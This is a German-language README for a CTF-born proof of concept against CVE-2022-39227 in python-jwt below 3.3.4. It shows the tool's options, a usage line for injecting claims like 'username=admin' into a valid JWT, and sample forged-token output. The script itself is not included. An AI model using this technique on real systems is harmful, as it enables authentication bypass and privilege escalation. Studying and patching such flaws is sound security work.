CVE-2022-39227

CVE-2022-39227 : Proof of Concept

Beweis des Konzepts für die CVE-2022-39227. Laut dieser CVE gibt es einen Fehler in der JSON Web Token Verifikation. Es ist möglich, mit einem gültigen Token dessen Signatur mit modifizierten Claims wiederzuverwenden.

Erforderlich:

1. Ein gültiges JSON Web Token.
2. Das Backend muss die Python-Bibliothek "python-jwt" in der Version < 3.3.4 verwenden.

Der Einfachheit halber habe ich während eines CTFs einen einfachen PoC geschrieben:

usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM

Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4

options:
  -h, --help            show this help message and exit
  -j TOKEN, --jwt_token TOKEN
                        Original and valid JWT Token returned by the application
  -i CLAIM, --injected_claim CLAIM
                        Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
                        (e.g. username=admin,id=3)

Verwendung:

python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"

Rückgabe:

{"  <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}

Der Rückgabewert ist eine Mischform aus JSON und kompakter Darstellung. Sie müssen den gesamten Wert einschließlich "{" und "}" als Ihr neues JWT Web Token einfügen.